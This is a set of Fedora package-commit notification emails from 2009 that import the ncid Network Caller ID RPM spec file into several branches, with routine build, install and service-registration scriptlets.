+* Sun Oct 18 2009 Luke Macken <lmacken at redhat.com> - 1.0-0.1.b3
+- Apply a patch to ensure that we use our version of setuptools
+
 * Tue May 19 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.0-0.1.b3
 - Initial package for Fedora



From sandeen at fedoraproject.org  Sun Oct 18 16:23:34 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Sun, 18 Oct 2009 16:23:34 +0000 (UTC)
Subject: rpms/ncid/devel import.log, NONE, 1.1 ncid.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091018162334.D008111C00E8@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/ncid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15807/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log ncid.spec 
Log Message:
Initial cvs import



--- NEW FILE import.log ---
ncid-0_74-3_fc10:HEAD:ncid-0.74-3.fc10.src.rpm:1255882975


--- NEW FILE ncid.spec ---
Name:       ncid
Version:    0.74
Release:    3%{?dist}
Summary:    Network Caller ID server, client, and gateways

Group:      Applications/Communications
License:    GPLv2+
Url:        http://ncid.sourceforge.net
Source0:    http://downloads.sourceforge.net/%{name}/%{name}-%{version}-src.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: libpcap-devel

%description
NCID is Caller ID (CID) distributed over a network to a variety of
devices and computers.  NCID includes a server, gateways, a client,
and client output modules.

The NCID server obtains the Caller ID information from a serial device,
like a modem, and from VOIP and YAC gateways.

This package contains the server and gateways.  The client is in the
ncid-client package.

%package client
Summary:    NCID (Network Caller ID) client
Group:      Applications/Communications
Requires:   tcl, tk, /bin/mail

%description client
The ncid-client obtains the Caller ID from the ncid-server and normally
displays it in a GUI window.  It can also display the Called ID in a
terminal window or, using a output module, format the output and send it
to another program.

%package kpopup
Summary:    NCID kpopup module displays caller ID info in a KDE window
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}
Requires:   %{name}-speak = %{version}-%{release}
Requires:   kdebase, kdemultimedia, festival, /usr/bin/dcop

%description kpopup
The NCID kpopup module displays caller ID information in a KDE popup window
and optionally speaks the number via voice synthesis.

%package samba
Summary:    NCID samba module sends caller ID information to windows machines
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}, samba-client

%description samba
The NCID samba module sends caller ID information to a windows machine
via popup.  This will not work if the messenger service is disabled.

%package speak
Summary:    NCID speak module speaks caller ID information via voice synthesis
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}, festival

%description speak
The NCID speak module announces Caller Id information verbally, using
the Festival text-to-speech voice synthesis system.

%prep

%setup -q -n %{name}

%build
make %{?_smp_mflags} EXTRA_CFLAGS="$RPM_OPT_FLAGS" \
     STRIP= prefix=%{_prefix} prefix2= local fedoradir

%install
rm -rf ${RPM_BUILD_ROOT}
make install install-fedora prefix=${RPM_BUILD_ROOT}/%{_prefix} \
                            prefix2=${RPM_BUILD_ROOT} \
                            prefix3=${RPM_BUILD_ROOT}

%clean
rm -rf $RPM_BUILD_ROOT
rm -fr $RPM_BUILD_DIR/%{name}

%post
# make services known
for SCRIPT in ncidd ncidsip sip2ncid yac2ncid
do
    /sbin/chkconfig --add $SCRIPT
done

%post client
# make services known
for SCRIPT in ncid-page ncid-yac ncid-mythtv
do
    /sbin/chkconfig --add $SCRIPT
done

%post kpopup
/sbin/chkconfig --add ncid-kpopup

%post samba
/sbin/chkconfig --add ncid-samba

%post speak
/sbin/chkconfig --add ncid-speak

%preun
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    for SCRIPT in ncidd ncidsip sip2ncid yac2ncid
    do
        /sbin/service $SCRIPT stop > /dev/null 2>&1 || :
        /sbin/chkconfig --del $SCRIPT
    done
fi

%preun client
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    for SCRIPT in ncid-page ncid-yac ncid-mythtv
    do
        /sbin/service $SCRIPT stop > /dev/null 2>&1 || :
        /sbin/chkconfig --del $SCRIPT
    done
fi

# just in case an old package that had the obsolete ncid service is upgraded
if [ "$1" -ge "1" ]; then ### upgrade package ###
    /sbin/service ncid stop >/dev/null 2>&1 || true
    /sbin/chkconfig ncid && /sbin/chkconfig --del ncid || true
fi

%preun kpopup
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-kpopup stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-kpopup
fi

%preun samba
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-samba stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-samba
fi

%preun speak
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-speak stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-speak
fi

%postun
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services that are running
    for SCRIPT in ncidd ncidsip ncidsip
    do
        /sbin/service $SCRIPT condrestart >/dev/null 2>&1 || :
    done
fi

%postun client
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services that are running
    for SCRIPT in ncid-page ncid-yac ncid-mythtv
    do
        /sbin/service `basename $SCRIPT` condrestart >/dev/null 2>&1 || :
    done
fi

%postun kpopup
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services if running
    /sbin/service ncid-kpopup condrestart >/dev/null 2>&1 || :
fi

%postun samba
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services if running
    /sbin/service ncid-samba condrestart >/dev/null 2>&1 || :
fi

%postun speak
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart service if running
    /sbin/service ncid-speak condrestart >/dev/null 2>&1 || :
fi

%files
%defattr(-,root,root)
%doc README VERSION doc
%doc cidgate/README.Gateways Fedora/README.Fedora modules/README.modules
%doc scripts/README.logfile tools/README.tools
%{_bindir}/cidcall
%{_bindir}/cidalias
%{_bindir}/cidupdate
%{_bindir}/yac2ncid
%{_sbindir}/ncidd
%{_sbindir}/ncidsip
%{_sbindir}/sip2ncid
%dir %{_datadir}/ncid
%{_datadir}/ncid/ncidrotate
%dir %{_sysconfdir}/ncid
%config(noreplace) %{_sysconfdir}/ncid/ncidd.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidd.alias
%config(noreplace) %{_sysconfdir}/ncid/ncidrotate.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidsip.conf
%config(noreplace) %{_sysconfdir}/ncid/sip2ncid.conf
%config(noreplace) %{_sysconfdir}/ncid/yac2ncid.conf
%config(noreplace) %{_sysconfdir}/logrotate.d/ncid
%{_initrddir}/ncidd
%{_initrddir}/ncidsip
%{_initrddir}/sip2ncid
%{_initrddir}/yac2ncid
%{_mandir}/man1/ncidrotate.1*
%{_mandir}/man1/ncidtools.1*
%{_mandir}/man1/yac2ncid.1*
%{_mandir}/man5/ncidd.conf.5*
%{_mandir}/man5/sip2ncid.conf.5*
%{_mandir}/man5/yac2ncid.conf.5*
%{_mandir}/man5/ncidd.alias.5*
%{_mandir}/man5/ncidrotate.conf.5*
%{_mandir}/man5/ncidsip.conf.5*
%{_mandir}/man8/ncidd.8*
%{_mandir}/man8/ncidsip.8*
%{_mandir}/man8/sip2ncid.8*

%files client
%defattr(-,root,root)
%doc modules/README.modules
%{_bindir}/ncid
%dir %{_datadir}/ncid
%{_datadir}/ncid/ncid-page
%{_datadir}/ncid/ncid-skel
%{_datadir}/ncid/ncid-tivo
%{_datadir}/ncid/ncid-yac
%{_datadir}/ncid/ncid-mythtv
%{_datadir}/pixmaps/ncid.gif
%dir %{_sysconfdir}/ncid
%config(noreplace) %{_sysconfdir}/ncid/ncid.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidmodules.conf
%{_initrddir}/ncid-page
%{_initrddir}/ncid-yac
%{_initrddir}/ncid-mythtv
%{_mandir}/man1/ncid.1*
%{_mandir}/man1/ncidmodules.1*
%{_mandir}/man5/ncid.conf.5*
%{_mandir}/man5/ncidmodules.conf.5*

%files kpopup
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-kpopup
%{_initrddir}/ncid-kpopup

%files samba
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-samba
%{_initrddir}/ncid-samba

%files speak
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-speak
%{_initrddir}/ncid-speak

%changelog
* Fri Oct 09 2009 Eric Sandeen <sandeen at redhat.com> 0.74-3
- Address new review items

* Fri Sep 04 2009 Eric Sandeen <sandeen at redhat.com> 0.74-2
- Address new review items

* Wed Jul 29 2009 Eric Sandeen <sandeen at redhat.com> 0.74-1
- New upstream release.

* Sun Mar 29 2009 Eric Sandeen <sandeen at redhat.com> 0.73-2
- First Fedora build.

* Thu Mar 12 2009 John Chmielewski <jlc at users.sourceforge.net> 0.73-1
- Initial build.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncid/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:41:37 -0000	1.1
+++ .cvsignore	18 Oct 2009 16:23:34 -0000	1.2
@@ -0,0 +1 @@
+ncid-0.74-src.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncid/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:41:38 -0000	1.1
+++ sources	18 Oct 2009 16:23:34 -0000	1.2
@@ -0,0 +1 @@
+18885a48bc8be40fa2423a266c6c9e40  ncid-0.74-src.tar.gz



From sandeen at fedoraproject.org  Sun Oct 18 16:31:11 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Sun, 18 Oct 2009 16:31:11 +0000 (UTC)
Subject: rpms/ncid/F-12 ncid.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091018163111.7C62911C029A@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/ncid/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17713

Modified Files:
	sources 
Added Files:
	ncid.spec 
Log Message:
Initial cvs import



--- NEW FILE ncid.spec ---
Name:       ncid
Version:    0.74
Release:    3%{?dist}
Summary:    Network Caller ID server, client, and gateways

Group:      Applications/Communications
License:    GPLv2+
Url:        http://ncid.sourceforge.net
Source0:    http://downloads.sourceforge.net/%{name}/%{name}-%{version}-src.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: libpcap-devel

%description
NCID is Caller ID (CID) distributed over a network to a variety of
devices and computers.  NCID includes a server, gateways, a client,
and client output modules.

The NCID server obtains the Caller ID information from a serial device,
like a modem, and from VOIP and YAC gateways.

This package contains the server and gateways.  The client is in the
ncid-client package.

%package client
Summary:    NCID (Network Caller ID) client
Group:      Applications/Communications
Requires:   tcl, tk, /bin/mail

%description client
The ncid-client obtains the Caller ID from the ncid-server and normally
displays it in a GUI window.  It can also display the Called ID in a
terminal window or, using a output module, format the output and send it
to another program.

%package kpopup
Summary:    NCID kpopup module displays caller ID info in a KDE window
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}
Requires:   %{name}-speak = %{version}-%{release}
Requires:   kdebase, kdemultimedia, festival, /usr/bin/dcop

%description kpopup
The NCID kpopup module displays caller ID information in a KDE popup window
and optionally speaks the number via voice synthesis.

%package samba
Summary:    NCID samba module sends caller ID information to windows machines
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}, samba-client

%description samba
The NCID samba module sends caller ID information to a windows machine
via popup.  This will not work if the messenger service is disabled.

%package speak
Summary:    NCID speak module speaks caller ID information via voice synthesis
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}, festival

%description speak
The NCID speak module announces Caller Id information verbally, using
the Festival text-to-speech voice synthesis system.

%prep

%setup -q -n %{name}

%build
make %{?_smp_mflags} EXTRA_CFLAGS="$RPM_OPT_FLAGS" \
     STRIP= prefix=%{_prefix} prefix2= local fedoradir

%install
rm -rf ${RPM_BUILD_ROOT}
make install install-fedora prefix=${RPM_BUILD_ROOT}/%{_prefix} \
                            prefix2=${RPM_BUILD_ROOT} \
                            prefix3=${RPM_BUILD_ROOT}

%clean
rm -rf $RPM_BUILD_ROOT
rm -fr $RPM_BUILD_DIR/%{name}

%post
# make services known
for SCRIPT in ncidd ncidsip sip2ncid yac2ncid
do
    /sbin/chkconfig --add $SCRIPT
done

%post client
# make services known
for SCRIPT in ncid-page ncid-yac ncid-mythtv
do
    /sbin/chkconfig --add $SCRIPT
done

%post kpopup
/sbin/chkconfig --add ncid-kpopup

%post samba
/sbin/chkconfig --add ncid-samba

%post speak
/sbin/chkconfig --add ncid-speak

%preun
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    for SCRIPT in ncidd ncidsip sip2ncid yac2ncid
    do
        /sbin/service $SCRIPT stop > /dev/null 2>&1 || :
        /sbin/chkconfig --del $SCRIPT
    done
fi

%preun client
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    for SCRIPT in ncid-page ncid-yac ncid-mythtv
    do
        /sbin/service $SCRIPT stop > /dev/null 2>&1 || :
        /sbin/chkconfig --del $SCRIPT
    done
fi

# just in case an old package that had the obsolete ncid service is upgraded
if [ "$1" -ge "1" ]; then ### upgrade package ###
    /sbin/service ncid stop >/dev/null 2>&1 || true
    /sbin/chkconfig ncid && /sbin/chkconfig --del ncid || true
fi

%preun kpopup
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-kpopup stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-kpopup
fi

%preun samba
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-samba stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-samba
fi

%preun speak
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-speak stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-speak
fi

%postun
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services that are running
    for SCRIPT in ncidd ncidsip ncidsip
    do
        /sbin/service $SCRIPT condrestart >/dev/null 2>&1 || :
    done
fi

%postun client
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services that are running
    for SCRIPT in ncid-page ncid-yac ncid-mythtv
    do
        /sbin/service `basename $SCRIPT` condrestart >/dev/null 2>&1 || :
    done
fi

%postun kpopup
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services if running
    /sbin/service ncid-kpopup condrestart >/dev/null 2>&1 || :
fi

%postun samba
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services if running
    /sbin/service ncid-samba condrestart >/dev/null 2>&1 || :
fi

%postun speak
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart service if running
    /sbin/service ncid-speak condrestart >/dev/null 2>&1 || :
fi

%files
%defattr(-,root,root)
%doc README VERSION doc
%doc cidgate/README.Gateways Fedora/README.Fedora modules/README.modules
%doc scripts/README.logfile tools/README.tools
%{_bindir}/cidcall
%{_bindir}/cidalias
%{_bindir}/cidupdate
%{_bindir}/yac2ncid
%{_sbindir}/ncidd
%{_sbindir}/ncidsip
%{_sbindir}/sip2ncid
%dir %{_datadir}/ncid
%{_datadir}/ncid/ncidrotate
%dir %{_sysconfdir}/ncid
%config(noreplace) %{_sysconfdir}/ncid/ncidd.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidd.alias
%config(noreplace) %{_sysconfdir}/ncid/ncidrotate.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidsip.conf
%config(noreplace) %{_sysconfdir}/ncid/sip2ncid.conf
%config(noreplace) %{_sysconfdir}/ncid/yac2ncid.conf
%config(noreplace) %{_sysconfdir}/logrotate.d/ncid
%{_initrddir}/ncidd
%{_initrddir}/ncidsip
%{_initrddir}/sip2ncid
%{_initrddir}/yac2ncid
%{_mandir}/man1/ncidrotate.1*
%{_mandir}/man1/ncidtools.1*
%{_mandir}/man1/yac2ncid.1*
%{_mandir}/man5/ncidd.conf.5*
%{_mandir}/man5/sip2ncid.conf.5*
%{_mandir}/man5/yac2ncid.conf.5*
%{_mandir}/man5/ncidd.alias.5*
%{_mandir}/man5/ncidrotate.conf.5*
%{_mandir}/man5/ncidsip.conf.5*
%{_mandir}/man8/ncidd.8*
%{_mandir}/man8/ncidsip.8*
%{_mandir}/man8/sip2ncid.8*

%files client
%defattr(-,root,root)
%doc modules/README.modules
%{_bindir}/ncid
%dir %{_datadir}/ncid
%{_datadir}/ncid/ncid-page
%{_datadir}/ncid/ncid-skel
%{_datadir}/ncid/ncid-tivo
%{_datadir}/ncid/ncid-yac
%{_datadir}/ncid/ncid-mythtv
%{_datadir}/pixmaps/ncid.gif
%dir %{_sysconfdir}/ncid
%config(noreplace) %{_sysconfdir}/ncid/ncid.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidmodules.conf
%{_initrddir}/ncid-page
%{_initrddir}/ncid-yac
%{_initrddir}/ncid-mythtv
%{_mandir}/man1/ncid.1*
%{_mandir}/man1/ncidmodules.1*
%{_mandir}/man5/ncid.conf.5*
%{_mandir}/man5/ncidmodules.conf.5*

%files kpopup
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-kpopup
%{_initrddir}/ncid-kpopup

%files samba
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-samba
%{_initrddir}/ncid-samba

%files speak
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-speak
%{_initrddir}/ncid-speak

%changelog
* Fri Oct 09 2009 Eric Sandeen <sandeen at redhat.com> 0.74-3
- Address new review items

* Fri Sep 04 2009 Eric Sandeen <sandeen at redhat.com> 0.74-2
- Address new review items

* Wed Jul 29 2009 Eric Sandeen <sandeen at redhat.com> 0.74-1
- New upstream release.

* Sun Mar 29 2009 Eric Sandeen <sandeen at redhat.com> 0.73-2
- First Fedora build.

* Thu Mar 12 2009 John Chmielewski <jlc at users.sourceforge.net> 0.73-1
- Initial build.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncid/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:41:38 -0000	1.1
+++ sources	18 Oct 2009 16:31:11 -0000	1.2
@@ -0,0 +1 @@
+18885a48bc8be40fa2423a266c6c9e40  ncid-0.74-src.tar.gz



From sandeen at fedoraproject.org  Sun Oct 18 16:33:07 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Sun, 18 Oct 2009 16:33:07 +0000 (UTC)
Subject: rpms/ncid/F-11 ncid.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091018163307.2F86411C00E8@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/ncid/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18471

Modified Files:
	sources 
Added Files:
	ncid.spec 
Log Message:
Initial cvs import



--- NEW FILE ncid.spec ---
Name:       ncid
Version:    0.74
Release:    3%{?dist}
Summary:    Network Caller ID server, client, and gateways

Group:      Applications/Communications
License:    GPLv2+
Url:        http://ncid.sourceforge.net
Source0:    http://downloads.sourceforge.net/%{name}/%{name}-%{version}-src.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: libpcap-devel

%description
NCID is Caller ID (CID) distributed over a network to a variety of
devices and computers.  NCID includes a server, gateways, a client,
and client output modules.

The NCID server obtains the Caller ID information from a serial device,
like a modem, and from VOIP and YAC gateways.

This package contains the server and gateways.  The client is in the
ncid-client package.

%package client
Summary:    NCID (Network Caller ID) client
Group:      Applications/Communications
Requires:   tcl, tk, /bin/mail

%description client
The ncid-client obtains the Caller ID from the ncid-server and normally
displays it in a GUI window.  It can also display the Called ID in a
terminal window or, using a output module, format the output and send it
to another program.

%package kpopup
Summary:    NCID kpopup module displays caller ID info in a KDE window
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}
Requires:   %{name}-speak = %{version}-%{release}
Requires:   kdebase, kdemultimedia, festival, /usr/bin/dcop

%description kpopup
The NCID kpopup module displays caller ID information in a KDE popup window
and optionally speaks the number via voice synthesis.

%package samba
Summary:    NCID samba module sends caller ID information to windows machines
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}, samba-client

%description samba
The NCID samba module sends caller ID information to a windows machine
via popup.  This will not work if the messenger service is disabled.

%package speak
Summary:    NCID speak module speaks caller ID information via voice synthesis
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}, festival

%description speak
The NCID speak module announces Caller Id information verbally, using
the Festival text-to-speech voice synthesis system.

%prep

%setup -q -n %{name}

%build
make %{?_smp_mflags} EXTRA_CFLAGS="$RPM_OPT_FLAGS" \
     STRIP= prefix=%{_prefix} prefix2= local fedoradir

%install
rm -rf ${RPM_BUILD_ROOT}
make install install-fedora prefix=${RPM_BUILD_ROOT}/%{_prefix} \
                            prefix2=${RPM_BUILD_ROOT} \
                            prefix3=${RPM_BUILD_ROOT}

%clean
rm -rf $RPM_BUILD_ROOT
rm -fr $RPM_BUILD_DIR/%{name}

%post
# make services known
for SCRIPT in ncidd ncidsip sip2ncid yac2ncid
do
    /sbin/chkconfig --add $SCRIPT
done

%post client
# make services known
for SCRIPT in ncid-page ncid-yac ncid-mythtv
do
    /sbin/chkconfig --add $SCRIPT
done

%post kpopup
/sbin/chkconfig --add ncid-kpopup

%post samba
/sbin/chkconfig --add ncid-samba

%post speak
/sbin/chkconfig --add ncid-speak

%preun
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    for SCRIPT in ncidd ncidsip sip2ncid yac2ncid
    do
        /sbin/service $SCRIPT stop > /dev/null 2>&1 || :
        /sbin/chkconfig --del $SCRIPT
    done
fi

%preun client
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    for SCRIPT in ncid-page ncid-yac ncid-mythtv
    do
        /sbin/service $SCRIPT stop > /dev/null 2>&1 || :
        /sbin/chkconfig --del $SCRIPT
    done
fi

# just in case an old package that had the obsolete ncid service is upgraded
if [ "$1" -ge "1" ]; then ### upgrade package ###
    /sbin/service ncid stop >/dev/null 2>&1 || true
    /sbin/chkconfig ncid && /sbin/chkconfig --del ncid || true
fi

%preun kpopup
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-kpopup stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-kpopup
fi

%preun samba
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-samba stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-samba
fi

%preun speak
if [ $1 = 0 ] ; then ### Uninstall package ###
    # stop services and remove autostart
    /sbin/service ncid-speak stop > /dev/null 2>&1 || :
    /sbin/chkconfig --del ncid-speak
fi

%postun
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services that are running
    for SCRIPT in ncidd ncidsip ncidsip
    do
        /sbin/service $SCRIPT condrestart >/dev/null 2>&1 || :
    done
fi

%postun client
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services that are running
    for SCRIPT in ncid-page ncid-yac ncid-mythtv
    do
        /sbin/service `basename $SCRIPT` condrestart >/dev/null 2>&1 || :
    done
fi

%postun kpopup
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services if running
    /sbin/service ncid-kpopup condrestart >/dev/null 2>&1 || :
fi

%postun samba
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart services if running
    /sbin/service ncid-samba condrestart >/dev/null 2>&1 || :
fi

%postun speak
if [ "$1" -ge "1" ]; then ### upgrade package ###
    # restart service if running
    /sbin/service ncid-speak condrestart >/dev/null 2>&1 || :
fi

%files
%defattr(-,root,root)
%doc README VERSION doc
%doc cidgate/README.Gateways Fedora/README.Fedora modules/README.modules
%doc scripts/README.logfile tools/README.tools
%{_bindir}/cidcall
%{_bindir}/cidalias
%{_bindir}/cidupdate
%{_bindir}/yac2ncid
%{_sbindir}/ncidd
%{_sbindir}/ncidsip
%{_sbindir}/sip2ncid
%dir %{_datadir}/ncid
%{_datadir}/ncid/ncidrotate
%dir %{_sysconfdir}/ncid
%config(noreplace) %{_sysconfdir}/ncid/ncidd.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidd.alias
%config(noreplace) %{_sysconfdir}/ncid/ncidrotate.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidsip.conf
%config(noreplace) %{_sysconfdir}/ncid/sip2ncid.conf
%config(noreplace) %{_sysconfdir}/ncid/yac2ncid.conf
%config(noreplace) %{_sysconfdir}/logrotate.d/ncid
%{_initrddir}/ncidd
%{_initrddir}/ncidsip
%{_initrddir}/sip2ncid
%{_initrddir}/yac2ncid
%{_mandir}/man1/ncidrotate.1*
%{_mandir}/man1/ncidtools.1*
%{_mandir}/man1/yac2ncid.1*
%{_mandir}/man5/ncidd.conf.5*
%{_mandir}/man5/sip2ncid.conf.5*
%{_mandir}/man5/yac2ncid.conf.5*
%{_mandir}/man5/ncidd.alias.5*
%{_mandir}/man5/ncidrotate.conf.5*
%{_mandir}/man5/ncidsip.conf.5*
%{_mandir}/man8/ncidd.8*
%{_mandir}/man8/ncidsip.8*
%{_mandir}/man8/sip2ncid.8*

%files client
%defattr(-,root,root)
%doc modules/README.modules
%{_bindir}/ncid
%dir %{_datadir}/ncid
%{_datadir}/ncid/ncid-page
%{_datadir}/ncid/ncid-skel
%{_datadir}/ncid/ncid-tivo
%{_datadir}/ncid/ncid-yac
%{_datadir}/ncid/ncid-mythtv
%{_datadir}/pixmaps/ncid.gif
%dir %{_sysconfdir}/ncid
%config(noreplace) %{_sysconfdir}/ncid/ncid.conf
%config(noreplace) %{_sysconfdir}/ncid/ncidmodules.conf
%{_initrddir}/ncid-page
%{_initrddir}/ncid-yac
%{_initrddir}/ncid-mythtv
%{_mandir}/man1/ncid.1*
%{_mandir}/man1/ncidmodules.1*
%{_mandir}/man5/ncid.conf.5*
%{_mandir}/man5/ncidmodules.conf.5*

%files kpopup
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-kpopup
%{_initrddir}/ncid-kpopup

%files samba
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-samba
%{_initrddir}/ncid-samba

%files speak
%defattr(-,root,root)
%doc modules/README.modules
%{_datadir}/ncid/ncid-speak
%{_initrddir}/ncid-speak

%changelog
* Fri Oct 09 2009 Eric Sandeen <sandeen at redhat.com> 0.74-3
- Address new review items

* Fri Sep 04 2009 Eric Sandeen <sandeen at redhat.com> 0.74-2
- Address new review items

* Wed Jul 29 2009 Eric Sandeen <sandeen at redhat.com> 0.74-1
- New upstream release.

* Sun Mar 29 2009 Eric Sandeen <sandeen at redhat.com> 0.73-2
- First Fedora build.

* Thu Mar 12 2009 John Chmielewski <jlc at users.sourceforge.net> 0.73-1
- Initial build.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncid/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:41:38 -0000	1.1
+++ sources	18 Oct 2009 16:33:07 -0000	1.2
@@ -0,0 +1 @@
+18885a48bc8be40fa2423a266c6c9e40  ncid-0.74-src.tar.gz



From sandeen at fedoraproject.org  Sun Oct 18 16:34:17 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Sun, 18 Oct 2009 16:34:17 +0000 (UTC)
Subject: rpms/ncid/EL-5 ncid.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091018163417.11A9011C00E8@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/ncid/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19003

Modified Files:
	sources 
Added Files:
	ncid.spec 
Log Message:
initial cvs import



--- NEW FILE ncid.spec ---
Name:       ncid
Version:    0.74
Release:    3%{?dist}
Summary:    Network Caller ID server, client, and gateways

Group:      Applications/Communications
License:    GPLv2+
Url:        http://ncid.sourceforge.net
Source0:    http://downloads.sourceforge.net/%{name}/%{name}-%{version}-src.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: libpcap-devel

%description
NCID is Caller ID (CID) distributed over a network to a variety of
devices and computers.  NCID includes a server, gateways, a client,
and client output modules.

The NCID server obtains the Caller ID information from a serial device,
like a modem, and from VOIP and YAC gateways.

This package contains the server and gateways.  The client is in the
ncid-client package.

%package client
Summary:    NCID (Network Caller ID) client
Group:      Applications/Communications
Requires:   tcl, tk, /bin/mail

%description client
The ncid-client obtains the Caller ID from the ncid-server and normally
displays it in a GUI window.  It can also display the Called ID in a
terminal window or, using a output module, format the output and send it
to another program.

%package kpopup
Summary:    NCID kpopup module displays caller ID info in a KDE window
Group:      Applications/Communications
BuildArch:  noarch
Requires:   %{name}-client = %{version}-%{release}
Requires:   %{name}-speak = %{version}-%{release}
Requires:   kdebase, kdemultimedia, festival, /usr/bin/dcop

%description kpopup
